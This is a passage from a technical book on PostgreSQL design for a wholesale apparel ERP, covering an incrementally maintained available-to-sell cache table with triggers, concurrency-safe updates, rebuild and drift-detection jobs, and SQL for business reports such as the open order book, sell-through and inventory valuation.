The materialized view is still worth having. It is mis-cast for ATS and well cast for analytics: sell-through dashboards, "top 20 styles by booked revenue," weekly bookings by region. Those queries are heavy, and nobody promises a customer anything from them, which is the fact that settles it. "As of a few minutes ago" is how business-intelligence dashboards normally work. Precompute them and your dashboards cost nothing at page load. Rule of thumb: use materialized views for numbers people look at, and keep promise-making numbers out of them.

A related trick: refresh analytics views at a cadence matching the data's real volatility. Yesterday's sell-through does not change during the day. Refresh it once at 3 a.m. and your refresh cost drops by a factor of 1,440. A shockingly large share of "our database is expensive" stories resolve into someone refreshing a daily number every sixty seconds.

The road not taken: pg_ivm

pg_ivm (incremental view maintenance) keeps a materialized view current by applying only each change, which is the thing you actually want. It is actively maintained and, as of July 2026, supports PostgreSQL 13 through 18 (release v1.15, June 2026).

But its query support is a subset: inner and outer joins, DISTINCT, GROUP BY, and the aggregates count, sum, avg, min, max, plus simple subqueries in FROM, EXISTS subqueries in WHERE, and simple CTEs. Its README rules out window functions, HAVING, ORDER BY, LIMIT/OFFSET, UNION/INTERSECT/EXCEPT, DISTINCT ON, subqueries containing aggregates or DISTINCT, and FOR UPDATE/SHARE.

It also has to be loaded through shared_preload_libraries or session_preload_libraries, i.e. a server-level installation. That is the dealbreaker, because managed platforms like Supabase and RDS permit only a curated extension list, and pg_ivm isn't on it.

So we build the equivalent by hand. That turns out to be a feature: you'll understand every line, and your version can encode business rules no general-purpose extension would know to enforce.

Architecture 3: the incrementally maintained cache table

Both previous architectures accepted a false premise: that computing ATS means re-deriving it from scratch. But ATS changes by small, known amounts. Shipping 12 units doesn't require re-reading eight million ledger rows to discover on-hand fell by 12. You already know it did, because you shipped them.

So: keep a plain table holding the current ingredients per (tenant, SKU, warehouse), and update it inside the same transaction as every write that changes the truth. The bundle that inserts the −12 ledger row also subtracts 12 from the cache row. The cache cannot lag the truth, because they change together or not at all. Reads become a single-row primary-key lookup, about 0.05 ms, whether your ledger has ten thousand rows or ten billion.

This is, in most real ERPs, the right answer. It also has the most ways to get subtly wrong, which is why it gets the longest treatment.

The table

CREATE TABLE ats_cache (
  tenant_id    uuid    NOT NULL REFERENCES tenants(id),
  sku_id       uuid    NOT NULL REFERENCES skus(id),
  warehouse_id uuid    NOT NULL REFERENCES warehouses(id),

  on_hand      integer NOT NULL DEFAULT 0,
  allocated    integer NOT NULL DEFAULT 0,
  open_orders  integer NOT NULL DEFAULT 0,
  inbound      integer NOT NULL DEFAULT 0,

  ats integer GENERATED ALWAYS AS
      (on_hand - allocated - open_orders + inbound) STORED,

  updated_at   timestamptz NOT NULL DEFAULT now(),
  rebuilt_at   timestamptz,

  PRIMARY KEY (tenant_id, sku_id, warehouse_id),

  CONSTRAINT no_oversell
    CHECK (on_hand - allocated - open_orders >= 0),
  CONSTRAINT allocated_within_on_hand
    CHECK (allocated <= on_hand),
  CONSTRAINT no_negative_components
    CHECK (allocated >= 0 AND open_orders >= 0 AND inbound >= 0)
);

CREATE INDEX idx_ats_cache_tenant_ats
  ON ats_cache (tenant_id, warehouse_id)
  INCLUDE (sku_id, on_hand, allocated, open_orders, inbound, ats);

ALTER TABLE ats_cache ENABLE ROW LEVEL SECURITY;
CREATE POLICY ats_cache_tenant_isolation ON ats_cache
  USING (tenant_id = current_setting('app.tenant_id')::uuid);

Every line is load-bearing:

• The primary key is the triple (the grain of the table, one row per inventory position), so a duplicate is physically impossible. It also gives us the single-position lookup index for free.
• The four ingredients are NOT NULL DEFAULT 0, so arithmetic can never produce the NULL-propagation disaster from architecture 1.
• ats is a generated column. GENERATED ALWAYS AS (...) STORED means Postgres computes it on every insert and update. "ALWAYS" is literal: there is no syntax by which an application can write to it. Nobody can create a row whose ATS disagrees with its own ingredients: not a bad migration, not an admin in psql, not you at 2 a.m. The formula lives in exactly one place and is enforced rather than documented.
• no_oversell is the seatbelt: the database refuses any change committing more units than are on hand. Note it excludes inbound, because you can't ship goods that haven't arrived. If your business sells futures against inbound POs (normal in apparel preorder seasons) you'd relax it to include inbound and accept that a late PO becomes an oversell. That's a real business decision expressed as one readable line of SQL, which is exactly where business rules should live.
• allocated_within_on_hand encodes the physical fact from earlier: you cannot reserve units you do not have. Strictly speaking no_oversell already implies it while open_orders stays at or above zero, so it looks redundant. Keep it anyway, because the moment you relax no_oversell to sell futures against inbound POs, this line is the only thing still enforcing the physical limit.
• The covering index puts every column the grid displays into the index leaves, so the full-tenant grid becomes an Index Only Scan over ~20,000 narrow entries, about 12 ms instead of 1,889 ms.
• Row-level security because a derived table is just as leakable as a source table, and it's the one people forget. Chapter 9's rule holds without exception.

Two mechanisms keep it up to date, and the right answer uses both of them.

Option A: a database trigger for the ledger

A trigger is a rule installed in the database: "whenever a row is inserted into table X, run this function, in the same transaction as the insert." It fires for your API, for migrations, for bulk imports, and for anyone typing SQL into psql (the command-line client that ships with Postgres). There is no way to skip it.

Our ledger is append-only (a correction is a new compensating row, per chapter 4), so one insert trigger is the entire on-hand maintenance story:

CREATE OR REPLACE FUNCTION apply_ledger_to_ats() RETURNS trigger
LANGUAGE plpgsql AS $$
BEGIN
  INSERT INTO ats_cache (tenant_id, sku_id, warehouse_id, on_hand)
  VALUES (NEW.tenant_id, NEW.sku_id, NEW.warehouse_id, NEW.qty_delta)
  ON CONFLICT (tenant_id, sku_id, warehouse_id)
  DO UPDATE SET
    on_hand    = ats_cache.on_hand + EXCLUDED.on_hand,
    updated_at = now();
  RETURN NEW;
END;
$$;

CREATE TRIGGER trg_ledger_ats
AFTER INSERT ON inventory_ledger
FOR EACH ROW EXECUTE FUNCTION apply_ledger_to_ats();

The function receives the just-inserted row as NEW. It tries to insert a cache row whose on_hand is this movement, which is correct if the SKU has never moved in this warehouse. ON CONFLICT ... DO UPDATE is Postgres's upsert: if that primary key already exists (the normal case), update instead. Inside DO UPDATE, ats_cache.on_hand is the row already in the table and EXCLUDED.on_hand is the row we tried to insert, so the sum means "existing balance plus this movement."

Notice how much chapter 4's design pays off. Because the ledger is append-only there is no UPDATE trigger to write (which would need to subtract the old value and add the new), no DELETE trigger, and no possibility of a row being edited behind the cache's back. One handler, ten lines, complete coverage. Append-only earns its keep twice: once as an audit trail, and again by making incremental maintenance tractable.

The bulk-insert problem, and statement-level triggers

FOR EACH ROW runs the function once per row. Fine at 30 receipts a day, not fine when the warehouse imports a 5,000-line receiving file. Measured on our test instance, that import went from 340 ms without the trigger to 4.9 seconds with it.

The fix is a statement-level trigger with a transition table: Postgres hands your function the whole set of inserted rows as a queryable relation, so you can aggregate before writing:

CREATE OR REPLACE FUNCTION apply_ledger_batch_to_ats() RETURNS trigger
LANGUAGE plpgsql AS $$
BEGIN
  INSERT INTO ats_cache (tenant_id, sku_id, warehouse_id, on_hand)
  SELECT tenant_id, sku_id, warehouse_id, SUM(qty_delta)
  FROM new_rows
  GROUP BY tenant_id, sku_id, warehouse_id
  ORDER BY tenant_id, sku_id, warehouse_id      -- deterministic lock order
  ON CONFLICT (tenant_id, sku_id, warehouse_id)
  DO UPDATE SET
    on_hand    = ats_cache.on_hand + EXCLUDED.on_hand,
    updated_at = now();
  RETURN NULL;
END;
$$;

DROP TRIGGER IF EXISTS trg_ledger_ats ON inventory_ledger;

CREATE TRIGGER trg_ledger_ats_batch
AFTER INSERT ON inventory_ledger
REFERENCING NEW TABLE AS new_rows
FOR EACH STATEMENT EXECUTE FUNCTION apply_ledger_batch_to_ats();

REFERENCING NEW TABLE AS new_rows collects every row the statement inserted into a virtual table available inside the function. FOR EACH STATEMENT runs the function once per SQL statement regardless of row count. So we GROUP BY the batch first: 5,000 raw rows across 900 distinct positions collapse into 900 upserts. Same result, 5.5× fewer writes, and the import dropped from 4.9 s to 780 ms. RETURN NULL is correct for statement-level AFTER triggers, whose return value is ignored. The ORDER BY earns its place by preventing deadlocks, as the concurrency section explains.

Option B: application code for order flows

Order status changes are a state machine with real business rules: credit holds, partial cancellations, split ship windows, allocation failures that release units. Burying that in plpgsql makes it invisible to your TypeScript, awkward to unit test, and impossible to step through in a debugger. So for orders we update the cache explicitly in application code, still inside the same transaction, which is the part that matters.

import { pool } from "@/lib/db";

export async function confirmOrderLine(input: {
  tenantId: string; orderId: string;
  skuId: string; warehouseId: string; qty: number;
}) {
  const client = await pool.connect();
  try {
    await client.query("BEGIN");
    await client.query("SET LOCAL app.tenant_id = $1", [input.tenantId]);

    await client.query(
      `INSERT INTO order_lines (tenant_id, order_id, sku_id, qty_open)
       VALUES ($1, $2, $3, $4)`,
      [input.tenantId, input.orderId, input.skuId, input.qty]
    );

    const { rows } = await client.query(
      `UPDATE ats_cache
          SET open_orders = open_orders + $4,
              updated_at  = now()
        WHERE tenant_id = $1 AND sku_id = $2 AND warehouse_id = $3
        RETURNING ats, on_hand - allocated - open_orders AS sellable`,
      [input.tenantId, input.skuId, input.warehouseId, input.qty]
    );

    if (rows.length === 0) {
      throw new NoPositionError(input.skuId, input.warehouseId);
    }

    await client.query("COMMIT");
    return { ats: rows[0].ats, sellable: rows[0].sellable };
  } catch (err) {
    await client.query("ROLLBACK");
    if (isCheckViolation(err, "no_oversell")) {
      throw new InsufficientInventoryError(input.skuId, input.qty);
    }
    throw err;
  } finally {
    client.release();
  }
}

We borrow one connection from the pool. That matters, because a transaction lives on a single connection, and issuing BEGIN through a helper that hands you a different connection next call is a classic, baffling bug. SET LOCAL app.tenant_id establishes the RLS context for this transaction only. LOCAL means it reverts at commit so the connection returns to the pool clean. Without LOCAL you leak one tenant's identity to whoever borrows that connection next, which is the worst bug in this book.

Inside the transaction: insert the line, then increment open_orders. RETURNING hands back the freshly generated ats and a computed sellable in the same statement, with no extra round trip and guaranteed post-update values. If the UPDATE matched no row, this SKU was never stocked there. We throw, the catch issues ROLLBACK, and both changes vanish including the order line already inserted. That is the entire point of the transaction. The finally returns the connection even on paths that threw.

The catch does one more thing worth copying: it translates the constraint violation into a domain error. When no_oversell fires, Postgres raises SQLSTATE 23514 with the constraint name in the error detail. SQLSTATE is the five-character error code every SQL database returns alongside its message, and 23514 means "a CHECK constraint was violated." Catching that name and rethrowing InsufficientInventoryError lets your API return a clean HTTP 409 Conflict ("only 15 available") instead of leaking a Postgres error string to a sales rep.

Trigger or application code? An honest comparison

The dividing line that holds up in practice: use a trigger when the rule is "this table's rows always mean this, no exceptions." Use application code when the rule is "under these business conditions, do this." The ledger is the first kind, orders the second. What is non-negotiable either way: every mutation path must go through one of the two. A third path, such as an admin script updating order_lines directly, is how caches silently rot. Anyone who tells you it is always a trigger or always application code is selling a position.

The cache under concurrent writes

Here chapter 6 comes back, and this is the part beginners get wrong in a way that produces exactly the oversell the cache was built to prevent. Here is the wrong code. It looks completely reasonable:

// WRONG — do not ship this.
await client.query("BEGIN");

const { rows } = await client.query(
  `SELECT open_orders, on_hand, allocated FROM ats_cache
    WHERE tenant_id = $1 AND sku_id = $2 AND warehouse_id = $3`,
  [tenantId, skuId, warehouseId]
);

const sellable = rows[0].on_hand - rows[0].allocated - rows[0].open_orders;
if (sellable < qty) throw new InsufficientInventoryError();

await client.query(
  `UPDATE ats_cache SET open_orders = $4
    WHERE tenant_id = $1 AND sku_id = $2 AND warehouse_id = $3`,
  [tenantId, skuId, warehouseId, rows[0].open_orders + qty]
);

await client.query("COMMIT");

Two independent bugs. The lost update: the code reads open_orders, computes a new value in JavaScript, and writes it back. Two transactions both read 100, both compute 145, both write 145, and forty-five units of demand evaporate. That's the canonical read-modify-write race, and it happens whenever the new value is computed outside the database.

Time-of-check to time-of-use: even with the arithmetic in SQL, the if (sellable < qty) check reads at one moment and acts at a later one. Under Postgres's default READ COMMITTED isolation another transaction can commit in between, so the check passed against a world that no longer exists.

The correct version never lets the value leave the database:

UPDATE ats_cache
   SET open_orders = open_orders + $4
 WHERE tenant_id = $1 AND sku_id = $2 AND warehouse_id = $3;

The mechanism that keeps it safe is worth understanding. When transaction A runs this, Postgres takes a row-level exclusive lock on that tuple and holds it until A commits or rolls back. When B tries to update the same row, it neither fails nor reads stale data. It blocks: it waits for A to finish.

When A commits, B wakes and, under READ COMMITTED, re-reads the row's newest committed version, re-evaluates its own WHERE against it, and then applies open_orders + $4 to the new value. So if A added 45 to 0 and B adds 40, B's arithmetic runs against 45 and produces 85, not 40. The increments compose because the database, not your process, decided what "the current value" meant, and it decided after acquiring the lock.

Now the seatbelt, replaying market week with a 60-unit position. Nordstrom's transaction commits: open_orders 0 → 45, the generated ats recomputes to 15, and every screen reading this table sees 15 immediately, because it's the same table and not a copy. There is no window.

The boutique's transaction, racing at the same instant, blocks on the row lock. On waking it computes 45 + 40 = 85, and Postgres evaluates no_oversell: 60 − 0 − 85 = −25, not >= 0. SQLSTATE 23514, full rollback, order line gone. The rep gets "only 15 available."

The oversell is now structurally impossible. The database refuses to store the bad state at all, so the guarantee holds against code paths nobody has written yet.

What the row lock costs you

Two costs, honestly. First, every order for the same position serializes on that row. At 4 ms per transaction that's roughly 250 order lines per second for one position, which at wholesale volumes is unmeasurable. At consumer flash-sale volumes the hot row becomes your bottleneck, and the standard answer is to split that one row into several sub-rows that writers pick at random and readers add back together. That's a real technique and a chapter-10 problem, not yours.

Second, hold the lock briefly. Put the cache UPDATE near the end of the transaction, after the slow validation, and never put a third-party network call inside a transaction, because a 900 ms shipping-rate API call drops that position to one order per second.

const ordered = [...lines].sort((a, b) =>
  a.skuId < b.skuId ? -1 : a.skuId > b.skuId ? 1 : 0
);
for (const line of ordered) {
  await applyToCache(client, line);
}

Rebuilding the cache from the ledger

You must be able to reconstruct the whole cache from source with one command. Not because you expect to, but because a derived table you cannot rebuild is one you cannot fix, and the day you need it is the day something has already gone wrong.

CREATE OR REPLACE FUNCTION rebuild_ats_cache(p_tenant uuid)
RETURNS TABLE (positions_written bigint)
LANGUAGE plpgsql AS $$
BEGIN
  PERFORM pg_advisory_xact_lock(hashtext('rebuild_ats:' || p_tenant::text));

  RETURN QUERY
  WITH positions AS (          -- every position that could exist
    SELECT tenant_id, sku_id, warehouse_id FROM inventory_ledger
      WHERE tenant_id = p_tenant
    UNION
    SELECT o.tenant_id, ol.sku_id, o.warehouse_id
      FROM order_lines ol JOIN orders o ON o.id = ol.order_id
      WHERE o.tenant_id = p_tenant
    UNION
    SELECT po.tenant_id, pl.sku_id, po.warehouse_id
      FROM po_lines pl JOIN purchase_orders po ON po.id = pl.po_id
      WHERE po.tenant_id = p_tenant
  ),
  truth AS (
    SELECT p.tenant_id, p.sku_id, p.warehouse_id,
      COALESCE((SELECT SUM(l.qty_delta) FROM inventory_ledger l
                 WHERE l.tenant_id = p.tenant_id AND l.sku_id = p.sku_id
                   AND l.warehouse_id = p.warehouse_id), 0) AS on_hand,
      COALESCE((SELECT SUM(ol.qty_open) FROM order_lines ol
                 JOIN orders o ON o.id = ol.order_id
                 WHERE o.tenant_id = p.tenant_id AND ol.sku_id = p.sku_id
                   AND o.warehouse_id = p.warehouse_id
                   AND o.status IN ('allocated','picking','packed')), 0) AS allocated,
      COALESCE((SELECT SUM(ol.qty_open) FROM order_lines ol
                 JOIN orders o ON o.id = ol.order_id
                 WHERE o.tenant_id = p.tenant_id AND ol.sku_id = p.sku_id
                   AND o.warehouse_id = p.warehouse_id
                   AND o.status = 'confirmed'), 0) AS open_orders,
      COALESCE((SELECT SUM(pl.qty_expected - pl.qty_received) FROM po_lines pl
                 JOIN purchase_orders po ON po.id = pl.po_id
                 WHERE po.tenant_id = p.tenant_id AND pl.sku_id = p.sku_id
                   AND po.warehouse_id = p.warehouse_id AND po.status = 'open'
                   AND po.expected_date <= now() + interval '30 days'), 0) AS inbound
    FROM positions p
  ),
  written AS (
    INSERT INTO ats_cache AS c
      (tenant_id, sku_id, warehouse_id,
       on_hand, allocated, open_orders, inbound, rebuilt_at)
    SELECT tenant_id, sku_id, warehouse_id,
           on_hand, allocated, open_orders, inbound, now()
    FROM truth
    ORDER BY tenant_id, sku_id, warehouse_id
    ON CONFLICT (tenant_id, sku_id, warehouse_id) DO UPDATE SET
      on_hand     = EXCLUDED.on_hand,
      allocated   = EXCLUDED.allocated,
      open_orders = EXCLUDED.open_orders,
      inbound     = EXCLUDED.inbound,
      updated_at  = now(),
      rebuilt_at  = now()
    RETURNING 1
  )
  SELECT count(*) FROM written;
END;
$$;

pg_advisory_xact_lock takes a lock keyed to this tenant, released automatically at transaction end, so two rebuilds of the same tenant can't interleave while different tenants proceed in parallel.

positions answers the question architecture 1 got wrong, which is what positions should exist, by unioning the ledger, orders, and POs, so a preseason style with no stock and goods-on-the-water for a never-received SKU both appear. UNION (not UNION ALL) de-duplicates. truth computes all four ingredients with correlated subqueries. For a rare, offline-ish operation, clarity beats cleverness, and each subquery reads exactly like the definition of its term.

The upsert overwrites rather than adds (this is a rebuild, not an increment) and stamps rebuilt_at so you can later ask when a position was last known-good. ORDER BY again for deterministic lock ordering, so a rebuild running alongside live order traffic doesn't deadlock. RETURNING 1 inside a CTE plus SELECT count(*) is how you get "rows touched" out of a data-modifying CTE.

Two operational notes. This deliberately does not delete cache rows whose positions vanished: a zeroed position is harmless, and delete-then-insert would open a window where a live query sees no row and reports "no position" for a SKU with plenty. Reap them in a separate low-priority job. And run one transaction per tenant, not one across all of them. A 40-second per-tenant transaction is a recoverable annoyance. A four-hour transaction across 300 tenants holds locks and blocks vacuum for four hours, and failing at minute 230 gets you nothing.

Drift detection: the job that proves the cache is right

A hand-maintained cache has its own failure mode: a bug. Someone adds a table partition and forgets the trigger. A migration edits order_lines directly. A service disables the trigger for a bulk load and nobody re-enables it. The cache doesn't go stale by seconds. It goes wrong, silently, permanently, until a human notices a physical count doesn't match.

-- Run inside a REPEATABLE READ transaction (see note below).
WITH truth AS (
  -- the full architecture-1 ATS query, verbatim, for one tenant
  SELECT tenant_id, sku_id, warehouse_id,
         on_hand, allocated, open_orders, inbound
  FROM ( /* ... CTEs from architecture 1 ... */ ) t
)
SELECT
  COALESCE(t.tenant_id, c.tenant_id)       AS tenant_id,
  COALESCE(t.sku_id, c.sku_id)             AS sku_id,
  COALESCE(t.warehouse_id, c.warehouse_id) AS warehouse_id,
  t.on_hand     AS truth_on_hand,   c.on_hand     AS cache_on_hand,
  t.allocated   AS truth_allocated, c.allocated   AS cache_allocated,
  t.open_orders AS truth_open,      c.open_orders AS cache_open,
  t.inbound     AS truth_inbound,   c.inbound     AS cache_inbound,
  COALESCE(t.on_hand, 0) - COALESCE(c.on_hand, 0) AS on_hand_drift
FROM truth t
FULL OUTER JOIN ats_cache c
  USING (tenant_id, sku_id, warehouse_id)
WHERE t.on_hand      IS DISTINCT FROM c.on_hand
   OR t.allocated    IS DISTINCT FROM c.allocated
   OR t.open_orders  IS DISTINCT FROM c.open_orders
   OR t.inbound      IS DISTINCT FROM c.inbound;

truth is the slow-but-correct compute-on-read query that we kept. It retired from serving screens and got a new job as the auditor, and it's qualified because it is the definition of the number.

FULL OUTER JOIN keeps rows existing on either side. A plain JOIN would only compare positions present in both and would be blind to the two most interesting failures: a cache row with no truth behind it (phantom inventory) and truth with no cache row (invisible inventory).

IS DISTINCT FROM is "not equal, treating NULL as comparable": plain <> returns NULL when either side is NULL, and WHERE treats NULL as false, so it would silently skip exactly the rows you're hunting. That is the single most common bug in hand-written diff queries.

Now the subtlety that will otherwise cost you a week. Run this as an ordinary query on a live system and it reports false positives every run: the truth CTE reads the ledger, orders, and POs while the join reads ats_cache, and under READ COMMITTED those reads happen at slightly different moments. An order committing mid-query lands in one side and not the other. The fix is one line:

BEGIN TRANSACTION ISOLATION LEVEL REPEATABLE READ;
  -- the diff query above
COMMIT;

REPEATABLE READ gives the whole transaction a single frozen snapshot taken at the first statement, so truth and cache are compared as of the same instant, the only comparison that means anything. Concurrent writers are unaffected. This transaction does not see them. Same chapter-6 machinery, used for reading instead of writing.

CREATE TABLE ats_drift_log (
  id           bigserial PRIMARY KEY,
  detected_at  timestamptz NOT NULL DEFAULT now(),
  tenant_id    uuid NOT NULL,
  sku_id       uuid NOT NULL,
  warehouse_id uuid NOT NULL,
  truth        jsonb NOT NULL,
  cache        jsonb NOT NULL,
  resolved_at  timestamptz,
  resolution   text
);

SELECT cron.schedule('ats-drift-check', '17 3 * * *',
                     $$ SELECT detect_ats_drift(); $$);

Schedule it off the hour (03:17, not 03:00) so it doesn't collide with every other cron job in your infrastructure. Have detect_ats_drift() insert findings and alert if it inserted anything. A healthy system produces zero rows every night, forever. The day it produces one, you caught a class of bug no test suite finds, before a customer did.

What this costs you, honestly

• Write latency. A single-row ledger insert went from 0.9 ms to 1.4 ms. A 5,000-row batch went from 340 ms to 780 ms. You're paying a 50–130% write tax to make reads 150× faster. An ERP reads far more often than it writes (every grid refresh, every order-entry line, every export is a read), so that trade is an easy one.
• Write serialization on hot positions. Real, bounded, acceptable at wholesale volumes.
• A new class of bug. The cache can be wrong in ways the source data can't, which is why the drift job is not optional.
• Schema coupling. Change the definition of "allocated" and you must change the trigger, the application code, the rebuild function, and the drift query. Four places, and missing one means drift fires at 03:17. Keep them in one migration per change, and write the drift query by copy-pasting the architecture-1 query rather than paraphrasing it.
• The read is only as good as its index. Drop the covering index during maintenance and the grid goes back to seconds. Put it in your schema tests.

The three architectures, side by side

The practical path: start at 1 because it's free and correct. Add 2 for dashboards the first time a report annoys someone. Move ATS to 3 when the grid crosses about a second, which for a typical apparel tenant lands in year two. Keep 1 alive forever as the definition of truth. You will run all three at once, and running all three is the intended design.

Designing the reports people actually ask for

Every ERP project has a moment where someone says "we need reporting" and a developer builds a generic query builder nobody uses. It fails because a report is an answer to a recurring business question, and the question determines the grain, the filters, the sort order, and the edge behavior. A blank query builder answers no question at all.

Six reports carry a wholesale apparel business. Build these well and you've covered most of what anyone asks for in three years. For each: the question in the asker's language, the SQL, then the walkthrough.

1. The open order book

The question: "What have we sold that we haven't shipped, when is it due, and how much money is it?" The CEO looks at this every Monday, the warehouse learns what's coming, and finance sees revenue in flight.

SELECT
  c.name                           AS customer,
  o.order_number, o.ship_start, o.cancel_date,
  SUM(ol.qty_open)                 AS units_open,
  SUM(ol.qty_open * ol.unit_price) AS value_open,
  CASE
    WHEN o.cancel_date < current_date                      THEN 'PAST CANCEL'
    WHEN o.cancel_date < current_date + interval '7 days'  THEN 'Due this week'
    WHEN o.cancel_date < current_date + interval '30 days' THEN 'Due this month'
    ELSE 'Future'
  END                              AS urgency,
  SUM(SUM(ol.qty_open * ol.unit_price)) OVER (
    ORDER BY o.cancel_date, o.order_number
    ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW
  )                                AS cumulative_value
FROM orders o
JOIN customers c    ON c.id = o.customer_id
JOIN order_lines ol ON ol.order_id = o.id
WHERE o.tenant_id = $1
  AND o.status IN ('confirmed','allocated','picking','packed')
  AND ol.qty_open > 0
GROUP BY c.name, o.order_number, o.ship_start, o.cancel_date
ORDER BY o.cancel_date, o.order_number;

The joins assemble orders with customer and lines. The WHERE restricts to live statuses and lines with quantity remaining (a fully shipped line has qty_open = 0 and would pad the report with zeros). GROUP BY rolls up to one row per order, the grain the reader wants.

The CASE is a bucketing pattern you'll write a hundred times. It returns the first matching branch, so branch order is the logic: something past its cancel date matches branch one and never reaches "due this week," even though it also satisfies that condition. Most urgent first.

Then SUM(SUM(...)) OVER (...) — a SUM inside a SUM. Not a typo. The rule that makes it sensible: window functions run after GROUP BY. The inner SUM is the ordinary aggregate collapsing each order's lines into an order total. The outer windowed SUM then runs across those grouped rows, accumulating. So cumulative_value answers "how much money is due by this date, cumulatively." It is the number that lets a CFO look at one row and say "we need to ship $2.1 million by month end."

Two production notes. Sort by cancel_date, not order date, because the cancel date is what costs money when missed. And give 'PAST CANCEL' rows a hard visual, because those are orders you are currently in breach on.

2. Sell-through by style and colorway

The question: "Of what we bought, how much have we actually sold?" That percentage is called sell-through. A low number means you over-bought and will end up discounting. A very high number means you under-bought and left money on the table. The exact thresholds vary a lot by brand, category, price point, and season length, so agree on your own targets internally rather than copying someone else's. A merchandiser's whole job is landing between the two failure modes, and this report is their scoreboard.

WITH received AS (
  SELECT sku_id, SUM(qty_delta) AS units_in
  FROM inventory_ledger
  WHERE tenant_id = $1 AND reason = 'po_receipt' AND occurred_at >= $2
  GROUP BY sku_id
),
sold AS (
  SELECT ol.sku_id,
         SUM(ol.qty_shipped)                 AS units_out,
         SUM(ol.qty_shipped * ol.unit_price) AS revenue
  FROM order_lines ol
  JOIN orders o ON o.id = ol.order_id
  WHERE o.tenant_id = $1
    AND o.status IN ('shipped','invoiced','paid')
    AND o.shipped_at >= $2
  GROUP BY ol.sku_id
)
SELECT
  s.style_number, s.colorway,
  SUM(r.units_in)                                AS units_received,
  SUM(COALESCE(so.units_out, 0))                 AS units_sold,
  ROUND(100.0 * SUM(COALESCE(so.units_out, 0))
              / NULLIF(SUM(r.units_in), 0), 1)   AS sell_through_pct,
  SUM(COALESCE(so.revenue, 0))                   AS revenue,
  DENSE_RANK() OVER (ORDER BY SUM(COALESCE(so.revenue, 0)) DESC) AS revenue_rank,
  ROUND(100.0 * SUM(COALESCE(so.revenue, 0))
              / SUM(SUM(COALESCE(so.revenue, 0))) OVER (), 1)
                                                 AS pct_of_total_revenue
FROM received r
JOIN skus s       ON s.id = r.sku_id
LEFT JOIN sold so ON so.sku_id = r.sku_id
GROUP BY s.style_number, s.colorway
ORDER BY revenue DESC;

received sums only ledger rows whose reason is a PO receipt, because a customer return also adds units and is not something you bought. Filtering by reason code is how you get purposeful numbers out of a general-purpose movement table, and a strong argument for making that column an enum (a fixed list of allowed values the database enforces) rather than free text. sold counts qty_shipped, not qty_open: sell-through measures goods that actually left, and conflating booked with shipped produces the classic overconfident season recap.

Three things in the main query:

• NULLIF(SUM(r.units_in), 0) is the division-by-zero guard. NULLIF(x, 0) returns NULL when x is 0, and dividing by NULL yields NULL instead of raising division_by_zero. A style with zero receipts shows a blank rather than crashing the report. Every percentage column needs this. Every one.
• DENSE_RANK() OVER (ORDER BY ... DESC) numbers rows by revenue across the whole result, because the OVER clause has no PARTITION BY. Pick your ranking deliberately: RANK gives ties the same number then skips (1, 2, 2, 4); DENSE_RANK doesn't skip (1, 2, 2, 3); ROW_NUMBER breaks ties arbitrarily and never repeats.
• SUM(SUM(x)) OVER (): an empty OVER () means the window is every row in the result. The inner sum is this style's revenue. The outer windowed sum is total revenue, repeated on every row. Divide and you have percent-of-total in one pass, no subquery. It's the most useful window trick in reporting and almost nobody discovers it alone.

3. Inventory valuation

The question: "What is the stuff in our warehouses worth?" Asked by your accountant at every month-end close, by your bank before it lends you money against your inventory, and by a buyer of your company during due diligence. The answer has to agree with the general ledger (the accountants' master record of every transaction the business has made), so the method has to be stated and used consistently.

The subtlety: identical units were bought at different costs. A tee at $4.10 in the first production run and $4.55 in the reorder is physically the same and financially different.

Accounting offers several conventions for deciding which cost to use:

• FIFO (first in, first out) assumes the oldest units sell first.
• Weighted average pools everything you bought and divides by the units.
• Standard cost uses a planned cost and books the difference separately.

Weighted average is the easiest to compute correctly from a ledger, and it is permitted under both of the main accounting rulebooks, GAAP (the US standard, Generally Accepted Accounting Principles) and IFRS (the international one, International Financial Reporting Standards), so it is where most ERPs start. Confirm the choice with your accountant before you ship it.

WITH costed AS (
  SELECT
    l.sku_id, l.warehouse_id,
    SUM(l.qty_delta)                                   AS units,
    SUM(l.qty_delta * l.unit_cost)
      FILTER (WHERE l.qty_delta > 0)                   AS inbound_cost,
    SUM(l.qty_delta) FILTER (WHERE l.qty_delta > 0)    AS inbound_units
  FROM inventory_ledger l
  WHERE l.tenant_id = $1
    AND l.occurred_at <= $2          -- as-of date; month-end close
  GROUP BY l.sku_id, l.warehouse_id
)
SELECT
  s.style_number, s.colorway, s.size,
  w.code AS warehouse,
  c.units,
  ROUND(c.inbound_cost / NULLIF(c.inbound_units, 0), 4)  AS avg_unit_cost,
  ROUND(c.units * (c.inbound_cost / NULLIF(c.inbound_units, 0)), 2)
                                                         AS extended_cost,
  SUM(ROUND(c.units * (c.inbound_cost / NULLIF(c.inbound_units,0)), 2))
    OVER ()                                              AS total_inventory_value
FROM costed c
JOIN skus s       ON s.id = c.sku_id
JOIN warehouses w ON w.id = c.warehouse_id
WHERE c.units <> 0
ORDER BY s.style_number, s.colorway, s.size;

SUM(l.qty_delta) is on-hand as of the cutoff. Note occurred_at <= $2, which makes this a point-in-time report. Your accountant will ask for the March 31st value on April 9th, and the append-only ledger is what makes that answerable: nothing was overwritten, so history is intact. A system storing a mutable current_qty cannot answer this at all, which is among the strongest arguments for the ledger.

FILTER (WHERE l.qty_delta > 0) restricts the cost math to inbound movements. Receipts carry a real unit_cost from the PO. Shipments and adjustments carry nothing or a derived cost, and including them double-counts. So the weighted average is money spent acquiring units divided by units acquired. WHERE c.units <> 0 drops positions that netted to zero, which would otherwise triple the report's length, and SUM(...) OVER () puts the grand total on every row so the export carries it regardless of where the reader looks.

Three caveats to hand your accountant with the numbers:

• this is weighted average across all time, not moving average, so a year of shifting costs would value differently under a moving calculation.
• negative on-hand positions produce negative extended cost and should be surfaced, not excluded.
• and this doesn't handle landed cost (freight, duty, and brokerage allocated across a shipment's units), which is a real separate feature.

When you add it, add it as ledger columns on the receipt row, so this query changes by one term and history stays consistent.

4. Aging receivables

The question: "Who owes us money, and how late are they?" Receivables are invoices you have sent but not yet been paid for. Aging them means sorting them by how overdue they are. This report gets a business through a cash crunch. Its buckets (0–30, 31–60, 61–90, 90+ days past due) are already known by heart in finance, so match the convention rather than inventing one.

SELECT
  c.name AS customer, c.credit_limit,
  SUM(i.balance_due) AS total_due,
  SUM(i.balance_due) FILTER (WHERE current_date <= i.due_date) AS current_bucket,
  SUM(i.balance_due) FILTER (
        WHERE current_date - i.due_date BETWEEN 1  AND 30) AS d1_30,
  SUM(i.balance_due) FILTER (
        WHERE current_date - i.due_date BETWEEN 31 AND 60) AS d31_60,
